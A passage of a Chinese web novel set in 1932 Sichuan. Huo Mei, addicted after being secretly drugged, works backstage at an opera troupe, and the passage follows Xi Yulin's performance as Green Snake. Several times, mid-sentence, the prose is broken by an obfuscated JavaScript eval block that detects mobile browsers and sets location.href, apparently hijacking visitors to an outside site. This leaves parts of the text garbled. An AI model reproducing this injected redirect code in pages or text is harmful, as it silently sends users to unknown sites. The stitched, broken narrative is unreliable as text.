他小小地心痛了一下,更不想去找霍眉了。打折打成这样肯定是快要坏了,得赶紧拿回去给穆尚文。跟她说——嗯,都是这样过来的。 席玉麟胡思乱想着出了蛋糕店,蛋糕店后面便是菜市场一条街。菜市场本就容易产生垃圾,挨家挨户都有个大泔水桶摆在门口,等着每日清晨秽水夫来收;夜里自然是腐臭逸散、污水横流,从黑洞洞的长街中飘出来,宛若食肉者张开的巨口。 有呻吟声从深处传来,压着舌头、喘不过气似的,听得人毛骨悚然。他于是往里走了好长一段,直到脚踩到了什么软软的东西,才找到了声音的源头。 霍眉正趴在地上,两只手蜷曲压在身下;一只脚的鞋已经蹭掉了,泡在一个灌满污水的坑里。她有一声没一声地叫着,难耐地扭动着身躯,不像是什么突发疾病,却像是被洒了一把盐的蛞蝓。 席玉麟犹然以为是发病了,赶忙把人翻过来;她却极度痛苦地“啊”了一声,开始拿脑袋砸地,砸得污水四溅。 这是......烟瘾犯了! 他站起来,毫不犹豫地转身就走,走到面包店后面时已经把霍眉以及她稀烂的一切从脑中清除干净。这时恰又一对母女从面包店里出来,大概也是来买打折面包的。母亲是工人打扮,用外套把她的女儿裹得紧紧的,与腐臭的黑夜隔绝开。 “妈妈。”小女孩伸长脖子往街里看,“有人——在叫!” 年轻的母亲虽一个劲儿撵着她,也好奇地往里瞟了一眼,随后骂道:“下九流的贱东西!这就是不学好的下场,你要不要学好?你要不要学好?” 两人远去了,席玉麟还站在原地,感觉抽向霍眉的鞭子顺带着把自己抽了一下。他又返回去,把她揪起来,咬牙切齿道:“听见了吗?你把自己搞成这个鬼样子......” 意识模糊中感受到了前面有个人,她的第一反应便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003776|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推开。一边推,自己的身体就一边往后蹭,半条腿都伸到水坑里去了。 席给她把腿捞出来,那边脑袋又找了块石板撞,撞得流了血;四肢乱抽,发出一声盖过一声痛苦的惨烈嚎叫。他想出了唯一把人固定住的办法:像抱小孩那样把她迎面抱在怀里,双腿交在她身后锁住,双臂也卡住脖颈。 霍眉的手臂还护在胸前,拼命把他往外抵。 手肘的骨头很硬,席玉麟被她顶得疼的要死,憋着一股邪火还顺着她的脊背抚摸了几下。嚎叫声渐渐小下去,变成呻吟,偏生她的声音本就柔媚,呻吟的尾巴里都带了钩子。几个从面包店里出来的男人也在街头探头探脑,看见两人贴在一块儿,兴奋地朝他们直吹口哨。 后半夜她的动静渐渐小下去,席玉麟一个没熬住,睡着了。 惊醒的时候霍眉已经醒了,正静静地盯着他研究,然后说:“抱着我睡觉,一夜两块。” 他冷笑一声,把信塞进她怀里,捡起面包袋往回走。这里离漱金颇有些距离,走了四十多分钟,一回头发现霍眉正双手拎着个巨大的皮箱顶在膝盖上一瘸一拐地跟着,质问道:“不是要躲起来吗?” “我离不开他了。”她斜睨着他,“回漱金算了。” “骂人的时候长了嘴,这个时候又不长嘴了。”席玉麟夺过皮箱,“既然同路为何不早说?‘满城的人都看到一个女人拎着重物跟着个空手的男人走了一路’,到时候你又要这样说对不对?” 手中的重量蓦然减轻,她那两只伶仃脚上维持的平衡立刻被打破了,向前栽去。 席玉麟立刻把纸袋夹到另一侧的咯吱窝下,用腾出来的一只手把她拎起来,“怎么,还要碰个瓷?” 霍眉抬起头,眼泪在泡了污水又干掉的脸上冲出两道清亮;额上的血迹也干成了褐色,眼袋青黑,显得人格外憔悴。 好啊,好啊!席玉麟心头梗堵成一片,你哭了,又是你有理。我把你弄哭了,又是我不够男人。当下也懒得理她,拎着皮箱一个劲儿往前走——皮箱他拎着都觉得吃力,也不知道霍眉怎么跟着他的速度走了那么久。 只听她在后面用很冷淡的语气说:“没有。是我身体有点难受。” “......”席玉麟在她面前蹲下,摆了摆手,要背的意思。 霍眉直接略过他,让他像只□□一样在街中间莫名其妙地蹲下来又恼羞成怒地站起来。 她的小小出走计划根本没被太多人发现,除了张大娘,见她狼狈地回来,烧了一盆热水给她洗澡。霍眉实在是很感激,但解释的时候仍没有说出实情,只说有个纠缠不休的前男友。 张大娘语重心长地教育:“还是不能赶时髦,学着那些女学生,搞什么男朋友!哪有这样的事?他就是借着这种名义占你的便宜,今天你是女朋友明天她是女朋友,乱搞!我儿子是没那个福分了,你还是得找个安稳人家,好生过日子去。” 霍眉应付着,没什么精神的样子,纳鞋底时一下把手刺破了。 12. 戒尺 今日后台来了刘洪生班的演员。话说分流后他们始终没给自己起个戏班名儿,只叫“刘洪生班”,不知是不是因为对漱金还念着旧情。两位师父的不合没有影响到同门师兄弟的友谊,见了自然是十分高兴,聊得热火朝天。 霍眉在后台望着,刘洪生班的演员实力相当不俗,而且非常均衡:同时有十几个配角可以在台上翻跟头。不像漱金这边,除了五个早入门的弟子可挑大梁,剩下的学徒都是分流那会儿才收进来的,现在腿都踢不直。 下一场戏是席秉诚的《皮金滚灯》了,他只能勉强截住话头,和师兄弟们依依惜别。两个姑娘妆还没卸,便跑来问霍眉:“大师姐呢?” “大师姐在练功房呢。”她一边说着,一边起身跟她们一块儿去了。 姑娘们一见王苏便扑了上去,叽叽喳喳讲起来;席玉麟就站在王苏身边,却没人找他玩。他一手拿着很厚一摞纸,边缘全给翻卷了,另一只手拿戒尺,正有长长一溜学徒排队到他面前背词。 “......皆因老夫威名有,吹箫引入凤凰游——” 那学徒看上去比他还大点儿,他眼皮都没掀,啪地一戒尺就打在手心了。“凤凰楼,不是凤凰游。再去排。” 下一个姑娘走到他面前开始背,这次背了很长一段,又是啪地一下。席玉麟好歹没让她再去排队,却让她接着背,直到凑够了三下打才重新去排队。 那边王苏聊得好好的,被旁边不绝于耳的戒尺声搅得有点不好意思,对两个师妹说了句“改天再说,我们最近在排剧目”,又跑到一边去练习了。 霍眉在一边静静地等着。这背词简直没个完,过了很久只有三个学徒脱离了排队循环,最后她也排到队伍后面去了。轮到她时,张口便唱:“西风飒飒雁门关,怀抱琵琶马上弹。王昭君奉旨出塞和北番,离长安满目凄凉愁肠万转,抬头则见失群的孤雁,长空哀鸣飞东南。雁儿你且莫往回转,那那——烦你把书传,回朝拜上,你多多拜上刘王夫君面,要相会梦里来团圆。” 席玉麟抬头道:“别捣乱。” “唱得怎么样嘛?” “这是清音,又不是戏,我哪知道。” “快点,我有事麻烦你。” 席玉麟举起戒尺像赶苍蝇那样晃了两下。 她晃去帮张大娘准备晚饭了,张大娘心疼她额角受了伤,特许她在盆端出去之前先夹几筷子。等到大家都快吃完的时候席玉麟和最后几个眼圈都红了的学徒才姗姗来迟,看到盆里的菜已经所剩无几,他还要不高兴。 等学徒们陆陆续续抱着碗去洗了,她把怀中的信递给席玉麟,“读给我听。” 席玉麟把信推回去。 “我不是自愿要抽大——” 他明显一惊,叫几个唯唯诺诺等在那里的学徒先出去,“你还想不想待了?叫班主知道你染上大烟,你算是完了。” “哎,你还挺向着我。” “免得你又说我断你生路。” “我不是自愿的。”她皱着眉说,“范章骅在我的酒里下了东西。可能都不是大烟,大烟不都是抽的吗?应该就是烟土粉末。我自己是怎么都不会碰这东西的。” “爱自愿不自愿,这是你自己的事。读信也是你自己的事。” 霍眉一下子站起来。她今天已经好声好气地跟席玉麟说话了,此人却是油盐不进。反正她也无所谓暴露不暴露了,去邮局,问服务生信上写着些什么,也是一样。 准备收拾去邮局前她又回头道:“知道为什么同门师弟师妹都不找你玩吗?你是真不讨人喜欢,你妈是真有先见之明,一点儿没耽搁就把你扔了。” 席玉麟露出难以置信到惊愕的表情,他对她的恶劣程度真是一天一个新认知,“我替你把事情瞒住了,你还想怎样?” “谁要你替我瞒住了?你们这破地方事多工资少,我也不需要躲起来了,哪里不能去?”霍眉一步步退后,看着他抄起戒尺疾步走来,立刻大喊道,“你又要先动手是不是?来人啊他——” 席玉麟捂住她的嘴巴,恨恨道:“我没有要动手!”随后松开她,拽着几个看热闹的学徒回练功房去了。 那封信根本不值得她这么折腾。服务生刚拒绝了帮前面一个大娘念一封长达五页的信,一看到她明媚微笑着的脸,又见信只有短短一面,欣然念起来: 老大: 振良的情况已基本稳定,能下床走几步,暂时先不回学校了。今夏雨水不多,收成不如去年。吾口角生疮,涂药不见好,问于乡绅,答曰盖因饭食粗陋、忧思过重矣。望汝深恤家庭艰难,在外勿要铺张浪费,凡事念及父母幼弟,早担吾责! 霍眉口型蠕蠕跟着他念了一遍,道了谢,捧起信就走。 服务生却不乐意了,“你不寄信啊?狗日的,纯消遣我呢!” 她充耳不闻。走出去又觉得很发愁,怡乐院的工资其实真的很不错,只是又染病又挨打的,一不小心命都没了,她既然有机会出来便不会再打回去的主意。 钱从哪里来呢?钱从哪里来呢? 忽然想起嘉陵舞厅,当时她就注意到了舞池中不全是情侣,还有专业的舞女,花枝招展地等着客人来和她跳一支舞……只是跳舞啊。 又在打情色产业的歪主意了,又不好好劳动,却想走捷径。 霍眉在心中骂了自己几句,脚却已经把她带到了嘉陵舞厅门口。听说她是来应聘的,服务员叫她稍等;一会儿来了经理,绕着她转了两圈,一个猛子扎下去看了看脚。 霍眉往后挪了一步。 经理“哦哟”几声,咧开嘴角:“小姐,虽说我们的招聘条件只有一个‘色艺俱佳’,你能从下午跳到天亮吗?” “能。” “你能,别人也不爱跟你跳。现在跳交际舞的都叫摩登女郎,摩登你懂不懂?现代化的意思,你现代化吗?”他的屁股支在办公桌边缘,上半身晃来晃去,手掌的虎口反复摩擦唇周,眼睛也像排风扇一样上上下下地扫,“我们这里女学生多嘞,盘靓条顺的,又年轻。” “还是谢谢了。” “这么喜欢跳舞呀?” 霍眉抓起手提包,他又在后面问:“很缺钱呀?” “不缺钱,有范副官养着呢。” 那经理才不吱声儿了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003777|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 已经是深秋,霍站在舞厅门口的希腊柱边,凉风往倒大袖里直灌。她感觉自己好像被羞辱了,你摩登吗?你是女学生吗?你年轻吗?一只听凭役使的柔软小鼠要从指缝间溜走。 今年她二十五岁。女学生在读书工作,旧女人在结婚生子。她二十五岁了,快要不再年轻了。 先去药铺买了艾叶,走到漱金门口又在板车上挑了几片西瓜。老板是个黑而皱巴的老头,打着赤膊,一条腿比另一条腿细许多,估计是个瘸子。吞云吐雾中说:“一百文。” “放你妈的屁。”留下了八十文。 老板坐在原地啐她。 晚上做完清洁、擦完身体泡完脚,她才爬到床边去吃那几块西瓜。估计是放久了,烂熟到发软。穆尚文两只溜圆眼睛盯过来了,很明显地咽了咽口水,做出渴望的神情。 霍眉道:“你翻个跟头。” 穆尚文犹豫了片刻,真把袖子撸起来,原地翻了五个跟头。她的功夫还算可以,手脚始终在一个小圈内轮换,连翻五个也没怎么移位。 站起来就往这边凑。霍眉高举着纸袋躲她,“干嘛?我又没说翻完跟头就给你吃。” “不是,你这人怎么——” “好了好了,”王苏把人拽回来,“你再给小霍唱一段,小霍给她一小块好不好?” “可千万别唱,我不爱听戏。”嘴上这么说,霍眉到底还是拿了一片递给王苏。王苏旋即笑起来,递给穆尚文。 她的面中比较长,眼睛也不算大,是杏形而平直的。较之其他女旦吊起眼角后的娇俏嗔怪之感,王苏的扮相更成熟些,宛若神妃仙子,在美的同时有庄严威仪。 穆尚文听说她不爱听戏后,本来不想唱的人,反倒起劲儿地唱起来。嗓音雄浑,中期十足,亮中带铜制光泽。听得出擅长唱老旦。 “小姐,人家是许仙许相公啊!” 王苏也跟她对戏:“喜今朝重逢西湖畔,满腹柔情口难言。”往她身上推了一把。 穆尚文又嬉笑道:“王伯伯!今年有好大的高寿?” 远处一个姑娘开腔:“我都六十三岁了!” “都六十三了!那你只怕比许相公要大许多……” 王苏纠正她:那你只怕——要比许相公大许多!她的声音要圆和婉转许多,让人想起“间关莺语花底滑”之类的诗句,滑的。穆尚文不得不捏细了自己大开大合的嗓子,很俏皮地重复了一遍。 霍眉用被子蒙住头,被吵得又开始耳鸣。现在还没吹蜡烛,整个女生宿舍都搭起戏来,有点的扮艄公,有的扮许仙,还有的扮□□精,昏黄中咿呀成一片。 被迫听了半出白蛇传后她们总算安静下来。王苏又小声说:“明天从师父那里出来后,你去找青哥。” “不要。” “你不知道,过去师父唱白蛇,刘师叔就是专唱小青的。青哥学的刘师叔,真要说起来,他比师父还要懂些。” “哎呀——不要!他会打我的。” “他打你做什么?你只是去求教一二,又不是去过他的关。” 霍眉忍不住插嘴道:“为什么叫他青哥?” 13. 香烟 王苏便解释道:第一代白青是席芳心刘洪生,第二代便是她和席玉麟。她从小就唱白娘子,席玉麟从小就唱小青。 而川剧里有一男一女两个小青。小青本为男子,想求娶白素贞却被打败,甘心为奴,化为女子的模样长伴她身边。剧中打斗激烈时,又会变回男子,方便大展身手。 “他都算是我带大的,小时候穿上青色裙子,就像个小女孩。我把他当作妹妹,那时候就小青小青地叫他。”王苏掩口笑道,“后来改行了,唱男小青,兜来转去还是我的小青。外号可不就变成青哥了?” 当男人就是好,霍眉想,总会被人起各种各样好听的名字。霍振良也是,出生就有这个亮堂的大名,十五岁又取了字叫“伯永”,还有个小名叫虎子;不像自己,被叫“老大”叫到背井离乡之时,才有了“霍眉”这个名字。 估摸着时间差不多了,水龙头边上冲凉的浑身臭汗的男人全都冲完了,她拿上牙缸和牙刷去洗口。漱完口,练功房里的最后一盏油灯才熄灭,席玉麟打着赤膊走过来,肩上搭着一条白毛巾。 他只当她是空气,拧开水龙头,把脑袋伸过去;水流像密网般把他的头发压平,顺着流到背上、腰间,洇湿裤子,汇聚到被踩出浅坑的麻编拖鞋里。 霍眉想起来他还是没把自己染上烟瘾的事情说出去。这人怎么就这么不讨人喜欢呢?花那么长的时间给学徒过关,惹了别人厌烦不说,自己的剧目还没时间排,不得不拖到这么晚;帮她读信连一分钟不要,他偏要花三分钟来听她骂人。 她就抱着手臂站在后面看,看席玉麟非常粗糙地在水龙头下把全身过了一道,然后拿毛巾用力从脸搓到肩膀搓到背搓到腿......好歹是没搓脚。你要说他不爱干净吧,洗得还是比那种三秒淋遍全身就走的男人仔细多了;你要说他爱干净吧,一条毛巾擦全身。 等一下,她突然想起王苏也有一条同款白毛巾,一个木盆,平日里就塞床下。这好像是漱金学徒的标配。那样仙女的人物也是一条毛巾擦全身...... “喂。”她踢了踢他的脚踝。 席玉麟顿时浑身绷紧了,手往上虚抬了一下,似乎有捂耳朵的冲动。 “穆尚文不敢去找你问问题,你明天主动去找她呗。” 他原以为这又是霍眉的一项捉弄,直到第二天王苏也提起此事才认真对待。尚文不敢找他,为什么不敢?他还以为他俩关系不错呢。那天的甜奶油面包放了一夜,便自己吃了,早知道还是该带点什么回去讨好小姑娘。 再说,若是穆尚文来找他还好说,哪有主动去找别人问“要不要我指点你一下”这种事?席玉麟思来想去,还是没好意思去。再说他的时间很紧,比起穆尚文的小青,他心知自己的青哥问题更大些。 霍眉做好了第一批鞋垫,挑了个下午在门口摆了个小摊。 正值观众入场的时间,人流量还是不错,但她只卖出去两副。外头来了个卖报的小男孩,亮亮的童音吆喝着:“蜀报!蜀报!刘湘向南充打响第一枪!二刘打起来了!” “我们这里卖报纸是要交茶位费的。”霍眉喊道,“滚出去卖!” 那小孩一躬腰随着人流钻进去了。 这天是1932年10月1日。 是夜,街上传来几声枪响。宿舍里的姑娘全醒了,凝神静听一阵,见夜色又重归于寂静,知道不是城门又被打破了。凌晨时又响了一声。 霍眉早上去收泔水桶时碰到清道夫了,打听昨夜怎么回事。 “好像还打死人了!我来的路上,在三角亭那个地方,看见地上有血。”清道夫绘声绘色道,“听说是孙将军在收拾袍哥。他早想收拾了。听说他的仪仗进城时,一半的士兵突然扔下他拥到前面,一问才知道是在迎接路过的裘三爷。” 当年曾国藩自己在军队里三令五申,严禁结拜哥老会,发现即杀头。后发现这种以江湖义气为连结的民间组织早已发展出巨大的根系,难以杜绝,也就对此睁一只眼闭一只眼了。然而袍哥已经严重渗透了军队内部,开始向上级寻衅滋事,乃至哗变、与政府军作对,再难指挥。因此曾国藩在镇压完太平天国后便裁决了湘军。 时至今日,川渝地区百分之八十的成年男性都和袍哥有联系,遍布军警政各界,论起威信还真不是孙珍贻这种小军阀可比的。换做他人也就作罢了,像王茂山还在哥老会里挂了个名,逢年过节去拜谒龙头大爷。龙头大爷不一定真的管会内事物,但绝对是一个地区最有威望、最有资历的老人,在巴青,也就是嘉陵公司的老板程筹......而孙珍贻居然直接开打了? 霍眉感慨一声,直觉以后更要少出门;而后又感到庆幸,哥老会应该一时半会儿都顾不上她。 当天下午那股难受劲儿又上来了,后台人多,她便缩在衣柜和器材的缝隙里把自己卡死;手上虽拿着针线掩人耳目,却抖地根本做不了精细活儿。 一包老刀牌香烟仍在脚边。 席玉麟向她摊出手,“一百二十五文。抽的时候别给班主看到了。” 霍眉翻了个白眼,“你掉钱眼里了。” “我还替你跑了一趟,一百二十五是原价,一分没赚。” 她掏出一百二十五文递给他,要钱要得如此容易,着实让席玉麟小小地惊讶了一番。 霍眉跑到后院去,将稀稀拉拉的卧单收紧铺排在远处的晾衣绳上,自己则倚在范章骅倚过的那棵树上,划火柴点燃了一只香烟。这是她第一次吃烟,被呛了好几口,然后就无师自通地学会了吸一口烟再吸一口空气,将烟气充分顶入肺部。渐渐地晕到站不稳,便把体重都挪到粗糙的树皮上蹭着了。 怪不得范章骅要在这儿歪着抽。 没有喝那杯烟土酒时极度亢奋、影花缭乱的飘然欲仙感,烟草只是让她觉得晕,像在别人的高级公寓里冲热水淋浴冲到头重脚轻,多少舒缓了一点那股子噬心刻骨的麻痒。 她连着抽了两根,手还在抖,心跳渐渐慢下来,才回到后台。刚下场的演员路过时狠狠瞪了她一眼。她便想起这些演员都是靠嗓子吃饭的,见不得烟味儿,又站出去了。 此后几天两人相安无事,碰面也不互呛了,偶尔还点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003778|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个头。 周五是他们去嘉陵饭店演出的日子。周四晚上三点练功房的油灯还亮着,周五干脆没排漱金的戏。霍眉一边收拾道具一边抓心挠肝地等着范章骅,思考该如何应对。沉默着抽抽噎噎?真怕把他惹烦了会挨打。撅着嘴翘气?真怕把他惹烦了要挨打。神色如常但是流露出一点委屈?真怕把他...... “霍小姐。” 是那个满脸麻子的小亲兵王传立,守门的学徒一听他的派头,就把他放进来了。 她赶忙迎了上去,“范副官呢?” “范副官受了点伤,叫我把这个带给你。”说罢从怀里掏出一个小纸包。 霍眉连忙接过,暗暗许愿过几日就看到他不治身亡的新闻。“范副官受伤了?怎么弄的?严不严重?你写个医院地址给我吧,工作忙完了我便去看他。” 王传立连连摆手,“没住院。就是行动结束的时候因为太高兴,被车门夹了一下手指。” “......”霍眉的大脑在高速运转中,那他为什么不来看自己?他也觉得这事儿弄得有点尴尬,想缓冲个一周吗?又望向死死盯着自己的王传立,知道他必然要把自己的一举一动全部报告上去,遂拉下脸来,“平日里说我是心肝,现在却不如一根手指重要了。” “两根手指。”王传立纠正道,然后握拳小碎步跑了。 展开小纸包,里面赫然是白色粉末。不知为什么,看到这东西时她的脑子都僵停了,只剩下喝掉它这一个念头。跑去找水杯的时候手都不自觉地抖起来,灌水冲服,久违的轻盈失重之感抚慰着她刺痛的每一根神经。飘飘乎如遗世独立,羽化而登仙。 心脏跳如紧锣密鼓。 她坐在地上缓了一会儿,继续收拾道具,只觉得精神充沛、活力十足,陪漱金熬到明天早上一点问题也没有。 门口最淡定的就是王苏,其他人都站在原地小幅度地排演动作,脸上很快出了一层薄汗。十二点差几分时,嘉陵饭店来接他们的车来了,副驾驶坐一个席芳心后,后排只坐得下三个人。 席秉诚问司机:“不是谈好接送我们的吗?” 司机大力拍方向盘,“这不是把车开来了吗?” “但是我们还有六个人。” “那就不关我的事了,这是公车,就这么大。” 霍眉已经有了不好的预感,先把道具塞进了后备箱。其中有两根一人多高的长矛,斜着插进去后,箱盖只能虚虚地搭在上面,一路颠簸下来都铁壳子把木杆夹断。只好把那两根长矛拿在手上,引起许多路人侧目。 席芳心发话了:“让王苏、尚文和玉麟坐上来,其他人尽管赶过去。” 嘉陵饭店离漱金有一个多小时的脚程。席玉麟刚坐下,就和车窗外的霍眉对视了一眼,那是一个偶然的、没有任何特殊含义的对视,他却突然不安起来,认定她正在为这个绝好的骂他的契机组织措辞。遂下车夺过她手里的长矛,将她推进车里关上门。 “安?”霍眉诧异道,“干什么我又不用表演......” 小轿车绝尘而去。 14. 青哥 席玉麟和席秉诚、另一个演黑鱼精的学徒步行至酒楼,到达时已经十点多了,立刻钻进一旁支起的帐篷里补妆。正在唱的是《穆桂英挂帅》。 穆尚文背抵化妆镜,本还在轻声念“娘娘,姑爹听信泼道谗言,拿了雄黄药酒,毒害你我来了”,听了两句穆桂英,却跟着唱起来:“想当年桃花马上威风凛凛,敌血飞溅石榴裙。有生之日责当尽,寸土怎能够属于他人。番王小丑何足论,我一剑能挡百万兵!” 她是很有天赋的老旦嗓,亮堂韧厚,穿透力极强。席玉麟私心觉得她是师姐妹中嗓子最好的,只是年纪尚小,还没完全练出来,当下听了她唱这段心中十分高兴,道:“再唱,你可要盖过人家台上的声音了。” 穆尚文登时闭嘴,瞥了他一眼,疾步走了。 “......”他无言地转回头,继续补鼻尖上汗掉的一块白颜料。 霍眉搬个小马扎坐在帐篷口,透过缝隙看观众席。晚上九点孙珍贻就致了辞,照相馆的人也来拍了合照,后面的一溜大戏都是助兴的节目,不做留下来看完的强制要求。因此演到现在,军官已经走了一大半,剩下的人注意力还不太集中,在长椅上玩起了牌。 这时突然有个中年人身后跟着一众妆造完整的演员进了帐篷。中年人已生出白发,尚且维持着戏剧演员的形体筋骨,也就是说没有发胖,容貌魁伟、神情闲远;身后跟着的一个穿金黄天兵铠甲的男人和一褐一白两个童子,再就是一长溜饰演蚌精的女演员,衣裙翩翩,漂亮得很。 见他进来,漱金的几人纷纷站起来,“刘师叔好。” 刘洪生点了点头,“好。你们席班主呢?” “在观众席后排坐着。” 他点了点头,仿佛只是随口一问,接着又与每个人聊起近况。 霍眉正聚精会神地看蚌精,那个天兵却朝这边走来,原本在角落走来走去、咕咕叨叨的席玉麟也闯入她的视野,迎了过去,“马师兄!” 可见跟他关系好的师兄弟多么少,见这一个还得小跑着上前。 马师兄看起来相当开朗,狂拍他一侧肩膀,“嗨呀!第一次见你男装扮相,让我多看几眼习惯习惯,免得待会儿台上笑出来了。” “别取笑了,我有问题要请教你。” 随后他便把马师兄拉到角落,走了一小段台步给他看。马师兄看了一会儿也跟着走,两人咕咕叨叨又不知道说些什么。霍眉的注意力又回到了蚌精身上。那刘洪生出了帐篷,背着手,原地眺望着。 一点十五分时,白蛇传开戏。 台下的观众已经不足十人,数十排长凳空空荡荡,夜色杳然,让霍眉想起小时候听到的唱戏会有鬼来听的怪谈。而戏台上高挂灯笼、云蒸霞蔚,如来坐在中央的莲花宝坐上,大罗神仙或站或坐、或举塔或托灯,庄严静止。五方锣鼓齐响。 第一折戏先介绍了背景:桂枝罗汉与白季子有私情,桂枝罗汉被贬下凡,转世为许仙,白季子逃跑。天庭得知后震怒,派遣法海去收妖。 王苏款款走出,不似蛇妖,却似上神。 “脱去枷锁下九天,喜得今朝返自然。回首佛堂云雾暗,锦绣人寰天地宽。”唱到最后一句时,拉琴的、幕后候场的演员齐声唱起来,是川剧中的“帮腔”,显现出一派天地宽阔、来去自由的欣喜。 第二折戏叫收青下凡,幕布后紧张得咬了半天嘴皮的席玉麟跑了出去。 “生平嫉恶性如刚......”声音一出来霍眉是相当地惊讶,很有气势,比他吵架生气到极点时还有气势,“东溟修炼把身藏。有朝一日功行满,敢上凌霄捉玉皇!” 青哥不像武松那样需要特地垫得很魁梧,本就是个青春少年的形象。席玉麟穿花青色宽袖,身材清瘦,亭亭立在那里,很有几分天质自然、风仪都雅的意思。 白素贞也出场唱了一段,她唱的时候,青哥就绕着她走,最后挡在她面前:“那位道友请了!” “道友为何堵我去路?” ”嵋山水府同受寂寞,何不与某一拜成亲,共参大道?” 白素贞明显扯了扯嘴角,“休得如此,让我过去。”言罢就要绕行,青哥又是一个闪身,深深抱拳下去,“某是真心相爱,并无半点虚假!” “若再纠缠,休怪我手下无情!” “我若战你不过,愿与你为奴。你若战某不过呢?” 青哥说这话时笑意盈盈,也真是神奇,戏剧的对白都是拖长了音唱出来的;过了这些时日,霍眉居然能听出唱腔中的语气了。他上前两步,弯下腰侧脸去看白素贞的表情。 白素贞喝道:“一派胡言,看剑!” 登时后台的堂鼓大响,两人拔剑短打一阵。青哥敌她不过,白素贞倒是很有大仙风范,只道:“一时失手,道友不必介怀。”不料那青蛇却打定主意要缠上她了,认输认得倒也爽快,跪地便要拜。 “且慢,方才乃是一句戏言,道友不必认真。” “大丈夫一言既出,驷马难追。” 见跟他讲不清道理,白素斥道:“休得如此,告辞!”反正青哥也拦不住她,扭身真走了。青哥那叫一个死缠烂打,跟在她身后追了满场,“娘娘为何去心太急?” 甩也甩不开,白素贞只得将自己和桂枝罗汉的私情告诉了他。霍眉不清楚川剧里的青对白到底是个什么样的感情,就像不清楚武松的形象一样,只能很明显地感受到席玉麟的倾向。民间故事里小青对白素贞始终是姐妹之情、主仆之谊,这里的席玉麟却微微张开了嘴,刚才挨了打还在嬉笑,现在却着实愣住了。 “好哇。”他最终说,背过身去一扬手,“娘娘情真意坚令某佩服,某愿追随左右,助娘娘一臂之力。” 白素贞却只当收了个小弟,笑道:“好倒却好,怎奈男女同行,多有不便。” “某虽道法浅淡,也能变幻,待某变来。”青哥摆出一个造型,高喝,“引清风,摇身化变!” 拿着祥云木板的道具组再上来,挡住半个舞台;席玉麟猫着腰回了后台,穆尚文跑了上去,在锵锵声中登场了。 他一下场就找到马师兄,两人耳语几句,躲到一边去了。霍眉是第一次看白蛇传,看得津津有味,没注意他们在做什么。只见许仙一手挡在额前做挡雨状走上了台,是刘洪生那边的演员,面貌儒雅。 白素贞探头望着。小青娇俏的嗓门亮出来了,摇着她一只手,“他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003779|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪个嘛?” “他——他就是桂枝罗汉呀!” 第二折戏落了。 第三折戏没什么看头,在霍眉看来,不打架就不好看。而第三折戏的主要内容就是几人都在船上躲雨,白素贞和许仙都不好意思打听对方,靠小青和艄公的对问对答把信息套出来了。事后许仙借伞给二人,约定明日在此地还伞,就此结下缘分。 第四折戏叫扯符吊打。 席秉诚扮演的虾蟆精上场了,披着个墨绿色的外套,屈着腿摇摇摆摆地走路,引起了底下零星几声笑。他化名为王道陵,将写有斗口星君的符交给许仙,叫他悄悄贴在白素贞头上;许仙却将此事说破了,导致符没起作用。 白素贞十分生气,叫小青把虾蟆精抓来见她。 穆尚文跑下台了,席玉麟扭着席秉诚便上去了。 怪不得席芳心要单独辅导穆尚文,她这一段没给霍眉留下什么记忆点;许仙那股欲言又止、犹豫不决的劲儿其实拿捏得不错,可霍眉还是最喜欢看席玉麟和王苏同台。第一席玉麟最好看,要他的模样才配白娘子;第二席玉麟最会眼神拉丝,而白娘子压根儿不理他。 虾蟆精咕哝道:“梭老二两根呐。”又惹起台下一阵笑。 “我当何人,却原是虾蟆大仙。” “不敢大仙,小道士,小道士。” 霍眉是第一次认真看席秉诚的戏。席秉诚平日里很有大师兄的派头,扮起丑角却是畏手畏脚、缩头缩脑,人前十足窝囊人后却要嘀咕几句,已不是一句演技精湛可以形容的。 “小青,与大仙摆座。” 青哥把张凳子咚地杵到他面前。虾蟆精吓得一蹦,甩袖子又落回地上蹲着,“娘娘金驾在此,小道士立而候赦,不敢坐。”话音尚未落,青哥就是一声大喝:“叫你坐下!” 